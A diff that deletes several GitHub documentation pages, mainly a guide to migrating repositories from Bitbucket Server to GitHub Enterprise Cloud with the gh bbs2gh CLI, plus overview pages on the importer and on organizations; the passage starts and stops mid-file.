/migrations/using-github-enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-from-bitbucket-server-to-github-enterprise-cloud ---- - -## About repository migrations with {% data variables.product.prodname_importer_proper_name %} - -You can migrate individual repositories or all repositories from a BitBucket Server instance using {% data variables.product.prodname_cli %}. - -At this time, migrating from Bitbucket Server with the {% data variables.product.prodname_dotcom %} API is not supported. - -{% ifversion repo-rules-enterprise %} -{% data reusables.enterprise-migration-tool.deploy-key-bypass %} -{% endif %} - -## Prerequisites - -* We strongly recommend that you perform a trial run of your migration and complete your production migration soon after. To learn more about trial runs, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/overview-of-a-migration-from-bitbucket-server-to-github-enterprise-cloud#running-your-migrations). -* {% data reusables.enterprise-migration-tool.link-to-support-limitations %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/about-migrations-from-bitbucket-server-to-github-enterprise-cloud). -* {% data reusables.enterprise-migration-tool.delta-migrations-not-supported %} -* For the destination organization on {% data variables.product.prodname_dotcom_the_website %}, you must be an organization owner or have the migrator role. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server#about-the-migrator-role). -* You need the username and password for a Bitbucket Server account with admin or super admin permissions. - -## Step 1: Install the {% data variables.product.prodname_bbs2gh_cli %} - -If this is your first migration, you'll need to install the {% data variables.product.prodname_bbs2gh_cli %}. For more information about {% data variables.product.prodname_cli %}, see [AUTOTITLE](/github-cli/github-cli/about-github-cli). - -{% data reusables.enterprise-migration-tool.bbs2gh-binary %} - -{% data reusables.enterprise-migration-tool.install-github-cli %} -1. Install the {% data variables.product.prodname_bbs2gh_cli_short %}. - - ```shell copy - gh extension install github/gh-bbs2gh - ``` - -{% data reusables.enterprise-migration-tool.bbs2gh-help-flag %} - -## Step 2: Update the {% data variables.product.prodname_bbs2gh_cli %} - -The {% data variables.product.prodname_bbs2gh_cli %} is updated weekly. {% data reusables.enterprise-migration-tool.update-your-extension %} - -```shell copy -gh extension upgrade github/gh-bbs2gh -``` - -## Step 3: Set environment variables - -Before you can use the {% data variables.product.prodname_bbs2gh_cli_short %} to migrate to {% data variables.product.prodname_ghe_cloud %}, you must create a {% data variables.product.pat_generic %} that can access the destination organization, then set the {% data variables.product.pat_generic %} as an environment variable. - -You'll also need to set environment variables for your Bitbucket Server username and password and, if your Bitbucket Server instance runs on Windows, your SMB password. - -1. Create and record a {% data variables.product.pat_v1 %} that will authenticate for the destination organization on {% data variables.product.prodname_ghe_cloud %}, making sure that the token meets all requirements. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server#creating-a-personal-access-token-for-github-enterprise-importer). -1. Set environment variables, replacing TOKEN with the {% data variables.product.pat_generic %} you recorded above, USERNAME with the username of a Bitbucket Server account that has admin or super admin permissions, and PASSWORD with the password for the Bitbucket Server account. - - * If you're using Terminal, use the `export` command. - - ```shell copy - export GH_PAT="TOKEN" - export BBS_USERNAME="USERNAME" - export BBS_PASSWORD="PASSWORD" - # If your Bitbucket Server instance runs on Windows - export SMB_PASSWORD="PASSWORD" - ``` - - * If you're using PowerShell, use the `$env` command. - - ```shell copy - $env:GH_PAT="TOKEN" - $env:BBS_USERNAME="USERNAME" - $env:BBS_PASSWORD="PASSWORD" - # If your Bitbucket Server instance runs on Windows - $env:SMB_PASSWORD="PASSWORD" - ``` - -{% data reusables.enterprise-migration-tool.set-target-api-url %} - -## Step 4: Set up blob storage - -Because many Bitbucket Server instances sit behind firewalls, the {% data variables.product.prodname_cli %} uses blob storage as an intermediate location to store your data that is reachable from the internet. - -You will first generate an archive of the data you want to migrate and push the data to blob storage from behind your firewall. - -{% data reusables.enterprise-migration-tool.supported-blob-storage-providers %} - -Before you can run a migration, you need to set up a storage container with your chosen cloud provider to store your data. - -### Setting up an AWS S3 storage bucket - -{% data reusables.enterprise-migration-tool.set-up-aws-bucket %} - -{% data reusables.enterprise-migration-tool.aws-credentials-cli %} - -### Setting up an Azure Blob Storage storage account - -{% data reusables.enterprise-migration-tool.set-up-azure-storage-account %} - -{% data reusables.enterprise-migration-tool.azure-credentials-cli %} - -### Allowing network access - -If you have configured firewall rules on your storage account, ensure you have allowed access to the IP ranges for your migration destination. See [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server#ip-ranges-for-ghecom). - -## Step 5: Migrate a repository - -You can migrate repositories with the `gh bbs2gh migrate-repo` command. - -When you migrate a repository, by default, the {% data variables.product.prodname_bbs2gh_cli %} performs the following steps: - -1. Connects to your Bitbucket Server instance and generates a migration archive per repository -1. Downloads the migration archive from the Bitbucket Server instance to the machine where you're running the {% data variables.product.prodname_bbs2gh_cli %}, using SFTP (Linux) or SMB (Windows) -1. Uploads the migration archives to the blob storage provider of your choice -1. Starts your migration in {% data variables.product.prodname_ghe_cloud %}, using the URLs of the archives stored with your blob storage provider -1. Deletes the migration archive from your local machine. (You'll need to delete the archive from your blob storage provider manually once the migration has finished.) - -Alternatively, you can use the {% data variables.product.prodname_cli %} to generate the archive, download that archive manually, and then use the {% data variables.product.prodname_cli %} to continue the migration. - -* [Allowing the {% data variables.product.prodname_cli %} to download the migration archive](#allowing-the-github-cli-to-download-the-migration-archive) -* [Downloading the migration archive manually](#downloading-the-migration-archive-manually) - -### Allowing the {% data variables.product.prodname_cli %} to download the migration archive - -To migrate a single repository, use the `gh bbs2gh migrate-repo` command. - -{% data reusables.enterprise-migration-tool.bitbucket-server-migrate-repo-access %} - -```shell copy -gh bbs2gh migrate-repo --bbs-server-url BBS-SERVER-URL \ - --bbs-project PROJECT --bbs-repo CURRENT-NAME \ - --github-org DESTINATION --github-repo NEW-NAME \ - # If you are migrating to {% data variables.enterprise.data_residency_site %}: - --target-api-url TARGET-API-URL - # If your Bitbucket Server instance runs on Linux: - --ssh-user SSH-USER --ssh-private-key PATH-TO-KEY - # If your Bitbucket Server instance runs on Windows: - --smb-user SMB-USER - # If you're using AWS S3 as your blob storage provider: - --aws-bucket-name AWS-BUCKET-NAME - # If you are running a Bitbucket Data Center cluster or your Bitbucket Server is behind a load balancer: - --archive-download-host ARCHIVE-DOWNLOAD-HOST -``` - -{% data reusables.enterprise-migration-tool.placeholder-table %} -{% data reusables.enterprise-migration-tool.bbs-server-url-placeholder %} -{% data reusables.enterprise-migration-tool.project-placeholder %} -{% data reusables.enterprise-migration-tool.current-name-placeholder %} -{% data reusables.enterprise-migration-tool.destination-placeholder %} -{% data reusables.enterprise-migration-tool.new-name-placeholder %} -{% data reusables.enterprise-migration-tool.target-api-url-placeholder %} -{% data reusables.enterprise-migration-tool.ssh-user-placeholder %} -{% data reusables.enterprise-migration-tool.path-to-key-placeholder %} -{% data reusables.enterprise-migration-tool.smb-user-placeholder %} -{% data reusables.enterprise-migration-tool.aws-bucket-name-placeholder %} -{% data reusables.enterprise-migration-tool.archive-download-host-placeholder %} - -> [!NOTE] -> If you get an error mentioning `Renci.SshNet`, then the CLI is having issues making an SFTP connection to your server to download your migration archive. For information about how to troubleshoot these issues, see [AUTOTITLE](/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/troubleshooting-your-migration-with-github-enterprise-importer#cipher-name-is-not-supported). - -### Downloading the migration archive manually - -By default, the {% data variables.product.prodname_bbs2gh_cli %} performs the entire migration, including downloading the migration archive from the Bitbucket Server instance using SFTP or SMB. - -However, some customers prefer to download the migration archive manually, because their server does not offer SFTP access, for example. In that case, you can use the {% data variables.product.prodname_cli %} to generate the archive, download that archive manually, and then use the {% data variables.product.prodname_cli %} to continue the migration. - -You must follow this step from a computer that can access: - -* Your Bitbucket Server instance via HTTPS -* Your chosen blob storage provider - -First, use the `gh bbs2gh migrate-repo` command with only the following arguments: - -```shell copy -gh bbs2gh migrate-repo --bbs-server-url BBS-SERVER-URL \ - --bbs-project PROJECT \ - --bbs-repo CURRENT-NAME -``` - -{% data reusables.enterprise-migration-tool.placeholder-table %} -{% data reusables.enterprise-migration-tool.bbs-server-url-placeholder %} -{% data reusables.enterprise-migration-tool.project-placeholder %} -{% data reusables.enterprise-migration-tool.current-name-placeholder %} - -Your migration archive will be generated, and its path will be printed in the command output: - -```text -[12:14] [INFO] Export completed. Your migration archive should be ready on your -instance at $BITBUCKET_SHARED_HOME/data/migration/export/Bitbucket_export_9.tar -``` - -In general, `$BITBUCKET_SHARED_HOME` will be set to `/var/atlassian/application-data/bitbucket/shared` on Linux and `C:\Atlassian\ApplicationData\Bitbucket\Shared` on Windows, but this may differ depending on your server configuration. To help you identify your shared home directory, see [AUTOTITLE](/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/troubleshooting-your-migration-with-github-enterprise-importer#source-export-archive-does-not-exist-error). - -Download the migration archive from your Bitbucket Server instance, and store the archive on the machine where you're running the {% data variables.product.prodname_cli %}. - -To import your migration archive into {% data variables.product.prodname_dotcom %}, use the `gh bbs2gh migrate-repo` command again, with a different set of arguments: - -```shell copy -gh bbs2gh migrate-repo --archive-path ARCHIVE-PATH \ - --github-org DESTINATION --github-repo NEW-NAME \ - --bbs-server-url BBS-SERVER-URL \ - --bbs-project PROJECT \ - --bbs-repo CURRENT-NAME \ - # If you're using AWS S3 as your blob storage provider: - --aws-bucket-name AWS-BUCKET-NAME - # If you are migrating to {% data variables.enterprise.data_residency_site %}: - --target-api-url TARGET-API-URL -``` - -{% data reusables.enterprise-migration-tool.placeholder-table %} -{% data reusables.enterprise-migration-tool.archive-path-placeholder %} -{% data reusables.enterprise-migration-tool.destination-placeholder %} -{% data reusables.enterprise-migration-tool.new-name-placeholder %} -{% data reusables.enterprise-migration-tool.bbs-server-url-placeholder %} -{% data reusables.enterprise-migration-tool.project-placeholder %} -{% data reusables.enterprise-migration-tool.current-name-placeholder %} -{% data reusables.enterprise-migration-tool.aws-bucket-name-placeholder %} -{% data reusables.enterprise-migration-tool.target-api-url-placeholder %} - -### Cancelling a migration - -{% data reusables.enterprise-migration-tool.abort-migration %} - -```shell copy -gh bbs2gh abort-migration --migration-id MIGRATION-ID -``` - -## Step 6: Validate your migration and check the error log - -{% data reusables.enterprise-migration-tool.validate-migration-logs %} - -## Step 7: Migrate multiple repositories - -{% data reusables.enterprise-migration-tool.generate-migration-script %} - -### Generating a migration script - -You must follow this step from a computer that can access your Bitbucket Server instance via HTTPS. - -To generate a migration script, run the `gh bbs2gh generate-script` command. - -```shell copy -gh bbs2gh generate-script --bbs-server-url BBS-SERVER-URL \ - --github-org DESTINATION \ - --output FILENAME \ - # If you are migrating to {% data variables.enterprise.data_residency_site %}: - --target-api-url TARGET-API-URL - # If your Bitbucket Server instance runs on Linux: - --ssh-user SSH-USER --ssh-private-key PATH-TO-KEY - # If your Bitbucket Server instance runs on Windows: - --smb-user SMB-USER - # If you are running a Bitbucket Data Center cluster or your Bitbucket Server is behind a load balancer: - --archive-download-host ARCHIVE-DOWNLOAD-HOST -``` - -{% data reusables.enterprise-migration-tool.download-migration-logs-flag %} - -{% data reusables.enterprise-migration-tool.placeholder-table %} -{% data reusables.enterprise-migration-tool.bbs-server-url-placeholder %} -{% data reusables.enterprise-migration-tool.destination-placeholder %} -{% data reusables.enterprise-migration-tool.filename-placeholder %} -{% data reusables.enterprise-migration-tool.target-api-url-placeholder %} -{% data reusables.enterprise-migration-tool.ssh-user-placeholder %} -{% data reusables.enterprise-migration-tool.path-to-key-placeholder %} -{% data reusables.enterprise-migration-tool.smb-user-placeholder %} -{% data reusables.enterprise-migration-tool.archive-download-host-placeholder %} - -### Reviewing the migration script - -After you generate the script, review the file and, optionally, edit the script. - -* If there are any repositories you don't want to migrate, delete or comment out the corresponding lines. -* By default, repository names in {% data variables.product.prodname_dotcom %} will follow a `projectKey-repositoryName` convention. For example, a Bitbucket Server repository named `airports` that is part of the `open-source` project, which has the key `OS`, would be called `OS-airports` in {% data variables.product.prodname_dotcom %}. If you want any repositories to have a different name on {% data variables.product.prodname_dotcom %}, update the value for the corresponding `--github-repo` flag. - -{% data reusables.enterprise-migration-tool.bbs2gh-binary-generate-script %} - -### Running your migration script - -To migrate your repositories, run the generated script. - -{% data reusables.enterprise-migration-tool.bitbucket-server-migrate-repo-access %} - -Before running the script, you must set additional environment variables to authenticate to your blob storage provider. - -* For AWS S3, set the following environment variables. - * `AWS_ACCESS_KEY_ID`: The access key id for your bucket - * `AWS_SECRET_ACCESS_KEY`: The secret key for your bucket - * `AWS_REGION`: The AWS region where your bucket is located - * `AWS_SESSION_TOKEN`: The session token, if you're using AWS temporary credentials (see [Using temporary credentials with AWS resources](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_use-resources.html) in the AWS documentation) -* For Azure Blob Storage, set `AZURE_STORAGE_CONNECTION_STRING` to the connection string for your Azure storage account. - -{% data reusables.enterprise-migration-tool.azure-storage-connection-key %} - -{% data reusables.enterprise-migration-tool.migrate-multiple-repos %} diff --git a/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/overview-of-a-migration-from-bitbucket-server-to-github-enterprise-cloud.md b/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/overview-of-a-migration-from-bitbucket-server-to-github-enterprise-cloud.md deleted file mode 100644 index 4581938d58e5..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/overview-of-a-migration-from-bitbucket-server-to-github-enterprise-cloud.md +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Overview of a migration from Bitbucket Server to GitHub Enterprise Cloud -shortTitle: Overview of a migration -intro: 'Learn about the process of migrating from Bitbucket Server to {% data variables.product.prodname_dotcom %} with {% data variables.product.prodname_importer_proper_name %}, from planning to implementation to completing follow-up tasks.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /early-access/enterprise-importer/understanding-github-enterprise-importer/migrating-from-bitbucket-server-with-github-enterprise-importer - - /migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/migrating-from-bitbucket-server-with-github-enterprise-importer ---- - -## Overview - -With {% data variables.product.prodname_importer_proper_name %}, you can migrate to {% data variables.product.prodname_ghe_cloud %} on a repository-by-repository basis. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer). - -If you're migrating from Bitbucket Server, you can use this guide to plan and implement your migration and complete follow-up tasks. - -## Planning your migration - -{% data reusables.enterprise-migration-tool.planning-intro %} - -* [How soon do we need to complete the migration?](#how-soon-do-we-need-to-complete-the-migration) -* [Do we understand what will be migrated?](#do-we-understand-what-will-be-migrated) -* [Who will run the migration?](#who-will-run-the-migration) -* [What organizational structure do we want in {% data variables.product.prodname_dotcom %}?](#what-organizational-structure-do-we-want-in-github) - -### How soon do we need to complete the migration? - -Determine your timeline, which will largely dictate your approach. The first step for determining your timeline is to get an inventory of what you need to migrate. - -* Number of repositories -* Number of pull requests - -Migration timing is largely based on the number of pull requests in a repository. If you want to migrate 1,000 repositories, and each repository has 100 pull requests on average, and only 50 users have contributed to the repositories, your migration will likely be very quick. If you want to migrate only 100 repositories, but the repositories each have 75,000 pull requests on average, and 5,000 users, the migration will take much longer and require much more planning and testing. - -After you take inventory of the repositories you need to migrate, you can weigh your inventory data against your desired timeline. If your organization can withstand a higher degree of change, then you might be able to migrate all your repositories at once, completing your migration efforts in a few days. However, you may have various teams that are not able to migrate at the same time. In this case, you might want to batch and stagger your migrations to fit the teams' timelines, extending your migration effort. - -1. Determine how many repositories and pull requests you need to migrate. -1. To understand when teams can be ready to migrate, interview stakeholders. -1. Fully review the rest of this guide, then decide on a migration timeline. - -### Do we understand what will be migrated? - -Ensure that you and your stakeholders understand what data can be migrated by {% data variables.product.prodname_importer_proper_name %}. - -For migrations from Bitbucket Server, {% data variables.product.prodname_importer_proper_name %} only migrates Git repositories and pull requests. Any other assets, such as CI pipelines, will remain in Bitbucket Server. - -Because permissions work differently in {% data variables.product.prodname_dotcom %} than in Bitbucket Server, {% data variables.product.prodname_importer_proper_name %} does not attempt to migrate repository permissions from Bitbucket Server. For more information, see [Configuring permissions](#configuring-permissions). - -1. Review the data that's migrated from Bitbucket Server. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/about-migrations-from-bitbucket-server-to-github-enterprise-cloud). -1. Make a list of any data that you'll need to manually migrate or recreate. - -### Who will run the migration? - -To migrate a repository, you must be an organization owner for the destination organization in {% data variables.product.prodname_dotcom %}, or an organization owner must grant you the migrator role. - -You must also have required permissions and access to your Bitbucket Server instance: - -* Admin or super admin permissions -* If your Bitbucket Server instance runs Linux, SFTP access to the instance, using a supported SSH private key (see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server#required-permissions-for-bitbucket-server)) -* If your Bitbucket Server instance runs Windows, file sharing (SMB) access to the instance - -1. Decide whether you want an organization owner of the destination organization to perform your migrations, or whether you need to grant the migrator role to someone else. -{% data reusables.enterprise-migration-tool.grant-migrator-tasks %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server#about-the-migrator-role). -{% data reusables.enterprise-migration-tool.confirm-migrator-has-correct-pats %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server#required-scopes-for-personal-access-tokens). -1. Confirm the migrator has admin or super admin permissions and SFTP access for your Bitbucket Server instance. - -### What organizational structure do we want in {% data variables.product.prodname_dotcom %}? - -Next, plan the organizational structure you'll create in {% data variables.product.prodname_dotcom %}. - -In Bitbucket Server, repositories are grouped into projects. In {% data variables.product.prodname_dotcom %}, repositories are owned by organizations. However, you should not assume that the best approach is to create one organization in {% data variables.product.prodname_dotcom %} per project in Bitbucket Server. - -After migrating to {% data variables.product.prodname_dotcom %}, you should have only one enterprise account and a small number of organizations owned by that enterprise. - -Each migrated repository will be owned by one of these organizations, which may result in a large list of ungrouped repositories within each organization. However, you can manage access to groups of repositories by creating teams on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -If you want to break your migration effort into batches, consider batching by organization. - -{% data reusables.enterprise-migration-tool.organization-structure-tasks %} - -## Running your migrations - -{% data reusables.enterprise-migration-tool.running-your-migrations %} - -We recommend creating a test organization to use as a destination for your trial migrations. {% data reusables.enterprise-migration-tool.about-test-organizations %} - -1. Create a test organization for your trial migrations. -{% data reusables.enterprise-migration-tool.trial-migrations-tasks %} -{% data reusables.enterprise-migration-tool.configure-destination-ip-allow-list %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server#configuring-ip-allow-lists-for-migrations). -1. Run your production migrations. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/migrating-repositories-from-bitbucket-server-to-github-enterprise-cloud). -{% data reusables.enterprise-migration-tool.delete-test-organization %} - -## Completing follow-up tasks - -{% data reusables.enterprise-migration-tool.follow-up-tasks-intro %} - -* [Checking the migration status](#checking-the-migration-status) -* [Reviewing the migration log](#reviewing-the-migration-log) -* [Setting repository visibility](#setting-repository-visibility) -* [Configuring permissions](#configuring-permissions) -* [Reclaiming mannequins](#reclaiming-mannequins) -* [Configuring IP allow lists](#configuring-ip-allow-lists) - -### Checking the migration status - -{% data reusables.enterprise-migration-tool.checking-the-migration-status %} - -### Reviewing the migration log - -{% data reusables.enterprise-migration-tool.reviewing-the-migration-log %} - -### Setting repository visibility - -{% data reusables.enterprise-migration-tool.setting-repository-visibility %} - -### Configuring permissions - -Because permissions work differently in {% data variables.product.prodname_dotcom %} than in Bitbucket Server, {% data variables.product.prodname_importer_proper_name %} does not attempt to migrate repository permissions from Bitbucket Server. - -To give access to migrated repositories, you can create teams and give each team access to the repository. - -1. Create teams. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/creating-a-team). -1. Add organization members to teams. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team). -1. Give each team access to the repository. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository). - -### Reclaiming mannequins - -{% data reusables.enterprise-migration-tool.reclaiming-mannequins %} - -### Configuring IP allow lists - -If you added the IP ranges for {% data variables.product.prodname_importer_proper_name %} to the IP allow list for your destination organization, you can remove those entries. {% data reusables.enterprise-migration-tool.reenable-idp-ip-restrictions %} - -For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server#configuring-ip-allow-lists-for-migrations). diff --git a/content/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer.md b/content/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer.md deleted file mode 100644 index 1d9c4fbd3c84..000000000000 --- a/content/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: About GitHub Enterprise Importer -intro: 'With {% data variables.product.prodname_importer_proper_name %}, you can migrate your enterprise to {% data variables.product.prodname_ghe_cloud %} from various sources.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /early-access/github/migrating-with-github-enterprise-importer/about-github-enterprise-importer - - /early-access/github/migrating-with-github-enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer - - /early-access/enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer - - /migrations/using-github-enterprise-importer/migrating-repositories-with-github-enterprise-importer - - /early-access/github/migrating-with-github-enterprise-importer/understanding-github-enterprise-importer/migration-support-for-github-enterprise-importer - - /early-access/enterprise-importer/understanding-github-enterprise-importer/migration-support-for-github-enterprise-importer - - /migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/migration-support-for-github-enterprise-importer - - /early-access/github/migrating-with-github-enterprise-importer/preparing-to-migrate-with-github-enterprise-importer - - /early-access/github/migrating-with-github-enterprise-importer/running-a-migration-with-github-enterprise-importer/preparing-to-run-a-migration-with-github-enterprise-importer - - /early-access/enterprise-importer/preparing-to-migrate-with-github-enterprise-importer/preparing-to-run-a-migration-with-github-enterprise-importer - - /migrations/using-github-enterprise-importer/preparing-to-migrate-with-github-enterprise-importer/preparing-to-run-a-migration-with-github-enterprise-importer - - /migrations/using-github-enterprise-importer/preparing-to-migrate-with-github-enterprise-importer ---- - -## About {% data variables.product.prodname_importer_proper_name %} - -{% data variables.product.prodname_importer_proper_name %} is a highly customizable migration tool designed to help you move your enterprise to {% data variables.product.prodname_ghe_cloud %}. - -You can migrate on a repository-by-repository basis or, if your migration source is {% data variables.product.prodname_dotcom_the_website %}, on an organization-by-organization basis. - -{% data variables.product.prodname_importer_proper_name %} allows you to customize your migration to meet your enterprise's unique needs with: -* **A distinct migration permissions role** for repository migrations, which allows you to designate teams and/or individual users to run a migration and removes the need for organization owners to complete the migration. -* **High fidelity migration**, which allows you to migrate a single repository, a series of repositories, or an entire organization. -* **Support for custom trial run migrations**, which allow you to run a migration as many times as you desire before running the production migration. -* **Clear and unblocking error logging**, so that migrations are allowed to continue with non-critical migration errors, such as not being able to move a single pull request comment. After the migration, you can review a log file that opens automatically. -* **Users retain ownership of their history**, to ensure that their Git history or {% data variables.product.github %} metadata is maintained across the migration. - -{% data reusables.enterprise-migration-tool.tool-options %} - -## Supported migration paths - -{% data reusables.enterprise-migration-tool.supported-migration-paths %} - -## Getting started - -To learn more about the migration path you require, and the data that {% data variables.product.prodname_importer_proper_name %} migrates, see the following articles. - -* [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/about-migrations-from-azure-devops-to-github-enterprise-cloud) -* [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/about-migrations-from-bitbucket-server-to-github-enterprise-cloud) -* [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/about-migrations-between-github-products) diff --git a/content/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/index.md b/content/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/index.md deleted file mode 100644 index f1151c050632..000000000000 --- a/content/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Understanding GitHub Enterprise Importer -shortTitle: Understand GitHub Enterprise Importer -intro: 'Learn about how {% data variables.product.prodname_importer_proper_name %} can help you migrate to {% data variables.product.prodname_dotcom %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-github-enterprise-importer -redirect_from: - - /early-access/github/migrating-with-github-enterprise-importer/understanding-github-enterprise-importer - - /early-access/enterprise-importer/understanding-github-enterprise-importer ---- - diff --git a/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md b/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md deleted file mode 100644 index 41e303e0ca1d..000000000000 --- a/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: About organizations -intro: '{% data reusables.organizations.short-summary %}' -redirect_from: - - /articles/about-organizations - - /github/setting-up-and-managing-organizations-and-teams/about-organizations -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams ---- - -## About organizations - -{% data reusables.organizations.about-organizations %} For more information about account types, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). - -You can invite people to join your organization, then give these organization members a variety of roles that grant different levels of access to the organization and its data. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). If an organization exceeds 100,000 members, some UI experiences and API functionality may be degraded. - -In addition to managing access to the organization itself, you can separately manage access to your organization's repositories, projects, and apps. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization), {% ifversion projects-v1 %}[AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization),{% endif %} and [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization). - -To simplify access management and enhance collaboration, you can create nested teams that reflect your group's structure, with cascading access permissions and mentions. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -You can configure the organization to meet the unique needs of your group by managing settings, such as restricting the types of repositories that members can create. For more information, see [AUTOTITLE](/organizations/managing-organization-settings). - -To harden your organization's security, you can enforce security requirements and review the organization's audit log. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure). - -To learn how to use organizations most effectively, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/best-practices-for-organizations). - -{% ifversion fpt or ghec %} - -## About feature availability - -{% data reusables.organizations.organization-plans %} -{% endif %} - -## Organizations and enterprise accounts - - - - - -{% ifversion ghec %} -> [!NOTE] Currently, {% data variables.product.prodname_ghe_cloud %} customers who use a single organization are being automatically upgraded to an enterprise account at no additional cost. For details, see [AUTOTITLE](/admin/managing-your-enterprise-account/creating-an-enterprise-account#what-will-happen-after-i-upgrade-my-organization). -{% endif %} - - -{% ifversion fpt %} -Enterprise accounts are a feature of {% data variables.product.prodname_ghe_cloud %} that allow owners to centrally manage policy and billing for multiple organizations. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/collaborating-with-groups-in-organizations/about-organizations). -{% else %} -{% ifversion ghec %}For organizations that belong to an enterprise account, billing is managed at the enterprise account level, and billing settings are not available at the organization level.{% endif %} Enterprise owners can set policy for all organizations in the enterprise account or allow organization owners to set the policy at the organization level. Organization owners cannot change settings enforced for your organization at the enterprise account level. If you have questions about a policy or setting for your organization, contact the owner of your enterprise account. - -{% ifversion ghec %} -{% data reusables.enterprise.create-an-enterprise-account %} For more information, see [AUTOTITLE](/admin/managing-your-enterprise-account/creating-an-enterprise-account). - -{% data reusables.enterprise-accounts.invite-organization %} - -{% endif %} -{% endif %} - -{% ifversion fpt or ghec %} - -## Terms of service and data protection for organizations - -An entity, such as a company, non-profit, or group, can agree to the Standard Terms of Service or the {% data variables.product.company_short %} Customer Agreement for their organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/upgrading-to-the-github-customer-agreement). - -{% endif %} diff --git a/content/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard.md b/content/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard.md deleted file mode 100644 index b93ae3084011..000000000000 --- a/content/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: About your organization dashboard -intro: 'As an organization member, you can visit your organization''s dashboard throughout the day to stay updated on recent activity and keep track of issues and pull requests you''re working on or following in the organization.' -redirect_from: - - /articles/about-your-organization-dashboard - - /github/setting-up-and-managing-organizations-and-teams/about-your-organization-dashboard -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Organization dashboard ---- - -## Accessing your organization dashboard - -{% data reusables.dashboard.access-org-dashboard %} - -## Finding your recent activity - -In the "Recent activity" section of your news feed, you can quickly find and follow up with 